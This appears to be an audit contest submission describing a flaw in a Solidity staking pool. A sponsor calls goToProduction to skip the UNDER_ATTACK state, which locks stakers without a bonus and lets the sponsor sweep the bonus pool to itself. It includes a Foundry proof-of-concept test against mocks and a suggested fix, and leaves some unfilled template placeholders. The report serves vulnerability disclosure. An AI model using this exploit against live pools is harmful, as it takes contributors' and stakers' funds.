FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Sponsor captures entire bonus by calling goToProduction, locking stakers without bonus compensation

Author Revealed upon completion

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

// Root cause in the codebase with @> marks to highlight the relevant section
Description
When a pool is created, stakers deposit tokens expecting to earn a k=2 time-weighted bonus share when the agreement survives. Bonus contributors fund the bonus pool permissionlessly. The pool resolves based on the agreement's registry state, and stakers claim their principal plus bonus via claimSurvived or claimExpired.
The pool sponsor (who is also the agreement owner, enforced by the factory's UnauthorizedCreator check) can call goToProduction() on the external AttackRegistry to jump the agreement directly to PRODUCTION without ever passing through UNDER_ATTACK. This causes riskWindowStart to remain zero because PRODUCTION is not an active-risk state. The withdrawal gate in withdraw() blocks stakers from exiting (since PRODUCTION fails the state check), but _bonusShare() returns zero for every staker when riskWindowStart == 0. The sponsor then sweeps the entire bonus to their own recoveryAddress via sweepUnclaimedBonus().
// In withdraw() — blocks withdrawals when state is PRODUCTION
// @> PRODUCTION is not in the allowed set, so stakers are LOCKED
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
@> && state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
// In _bonusShare() — returns 0 when riskWindowStart was never set
// @> riskWindowStart stays 0 when UNDER_ATTACK is skipped via goToProduction
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
@> if (riskWindowStart == 0) return 0;
// In sweepUnclaimedBonus() — does NOT reserve bonus when riskWindowStart == 0
// @> entire bonus becomes sweepable to sponsor-controlled recoveryAddress
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
The withdrawal gate and the bonus gate use different conditions for "risk materialized." The withdrawal gate checks the live registry state (blocks on PRODUCTION). The bonus gate checks riskWindowStart (only set during UNDER_ATTACK or PROMOTION_REQUESTED). When goToProduction skips both active-risk states, these two gates diverge — stakers are locked but earn zero bonus.

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

// Likelihood:
// The sponsor is the agreement owner (enforced by the factory at pool creation). The agreement owner has the ability to call goToProduction() on the AttackRegistry at any time before the agreement is registered for attack mode. This is a standard function available to every agreement owner.
// The sponsor sets recoveryAddress to their own wallet at pool creation (or changes it later via setRecoveryAddress which has no restrictions on timing or state). This is a normal setup step.
// Impact:
// Stakers are locked for the entire pool duration (minimum 30 days) and receive zero bonus despite the contest description promising "claims stake + k=2 time-weighted bonus share." Their principal is returned but they earned nothing for being locked.
// Bonus contributors lose 100% of their contributions. The entire bonus is swept to the sponsor's recoveryAddress. In the PoC, Carol contributes 200 tokens and loses all of them to the sponsor.
// >> Poc <<
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @title PoC: Sponsor captures entire bonus pool by skipping UNDER_ATTACK
/// @notice Demonstrates that the pool sponsor (who is also the agreement owner) can call
/// goToProduction() on the AttackRegistry to move the agreement directly to PRODUCTION
/// without ever passing through UNDER_ATTACK. This leaves riskWindowStart == 0, which:
/// (1) makes _bonusShare() return 0 for every staker,
/// (2) makes sweepUnclaimedBonus() treat the entire bonus as unreserved, and
/// (3) does NOT unlock withdraw() so stakers remain locked for the pool duration.
///
/// Net result: stakers are locked and earn zero bonus. The full bonus is swept to
/// recoveryAddress, which the sponsor controls. Bonus contributors lose everything.
contract PoC_SponsorBonusTheft is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TS = 1_750_000_000;
MockERC20 token;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
MockAgreement agreementContract;
ConfidencePool pool;
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
function setUp() public {
vm.warp(BASE_TS);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(sponsor);
address agreement = address(agreementContract);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
agreementContract.setContractInScope(address(0xC0FFEE), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
address[] memory scope = new address[](1);
scope[0] = address(0xC0FFEE);
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 60 days,
1 * ONE,
sponsor,
sponsor,
scope
);
}
/// @notice Full exploit flow: sponsor steals bonus while stakers are locked.
function test_sponsorCapturesBonusBySkippingUnderAttack() public {
// 1. Stakers deposit
token.mint(alice, 500 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
token.mint(bob, 500 * ONE);
vm.startPrank(bob);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
// 2. Third-party contributes bonus expecting stakers to be rewarded
token.mint(carol, 200 * ONE);
vm.startPrank(carol);
token.approve(address(pool), 200 * ONE);
pool.contributeBonus(200 * ONE);
vm.stopPrank();
// Sanity: pool holds 1200 tokens (1000 staked + 200 bonus)
assertEq(token.balanceOf(address(pool)), 1200 * ONE);
// 3. Sponsor skips UNDER_ATTACK: agreement goes directly to PRODUCTION.
// In production this is AttackRegistry.goToProduction(agreement).
// The mock simulates the result.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
// 4. Poke to observe the state. riskWindowStart stays 0.
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "riskWindowStart should stay 0");
assertGt(pool.riskWindowEnd(), 0, "riskWindowEnd is set because PRODUCTION is terminal");
// 5. Stakers CANNOT withdraw
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
// 6. Pool expires
vm.warp(pool.expiry());
// 7. Moderator flags SURVIVED
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// 8. Stakers claim but get ZERO bonus
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 alicePayout = token.balanceOf(alice) - aliceBefore;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobPayout = token.balanceOf(bob) - bobBefore;
assertEq(alicePayout, 500 * ONE, "Alice gets principal only");
assertEq(bobPayout, 500 * ONE, "Bob gets principal only");
// 9. Sponsor sweeps entire bonus to themselves
uint256 sponsorBefore = token.balanceOf(sponsor);
pool.sweepUnclaimedBonus();
uint256 sponsorGain = token.balanceOf(sponsor) - sponsorBefore;
assertEq(sponsorGain, 200 * ONE, "Sponsor captured full bonus via recoveryAddress");
// 10. Carol (bonus contributor) lost everything
assertEq(token.balanceOf(carol), 0, "Carol lost her entire bonus contribution");
}
/// @notice Shows stakers are locked even BEFORE expiry.
function test_stakersLockedBeforeExpiryWhenGoToProduction() public {
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
// Agreement jumps to PRODUCTION
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
// Alice tries to withdraw immediately, blocked
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
}
/// @notice Contrast: in the normal flow (with UNDER_ATTACK), stakers DO receive bonus.
function test_normalFlow_stakersReceiveBonus() public {
token.mint(alice, 500 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
token.mint(bob, 500 * ONE);
vm.startPrank(bob);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
token.mint(carol, 200 * ONE);
vm.startPrank(carol);
token.approve(address(pool), 200 * ONE);
pool.contributeBonus(200 * ONE);
vm.stopPrank();
// Normal flow: agreement passes through UNDER_ATTACK
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "riskWindowStart is set in normal flow");
vm.warp(block.timestamp + 14 days);
// Agreement promoted to PRODUCTION
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 alicePayout = token.balanceOf(alice) - aliceBefore;
// Alice gets principal PLUS her share of the bonus
assertGt(alicePayout, 500 * ONE, "In normal flow Alice gets principal + bonus");
}
}
// Place the following file in test/unit/PoC_SponsorBonusTheft.t.sol and run:
// forge test --match-contract PoC_SponsorBonusTheft -vvv

Recommended Mitigation

// Allow stakers to withdraw when riskWindowStart was never set, even if the registry state has advanced past pre-attack. If the risk window was never observed, stakers took no risk, so locking them is unjustified.
function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
- && state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
+ && state != IAttackRegistry.ContractState.ATTACK_REQUESTED
+ && state != IAttackRegistry.ContractState.PRODUCTION)
) {
revert WithdrawsDisabled();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!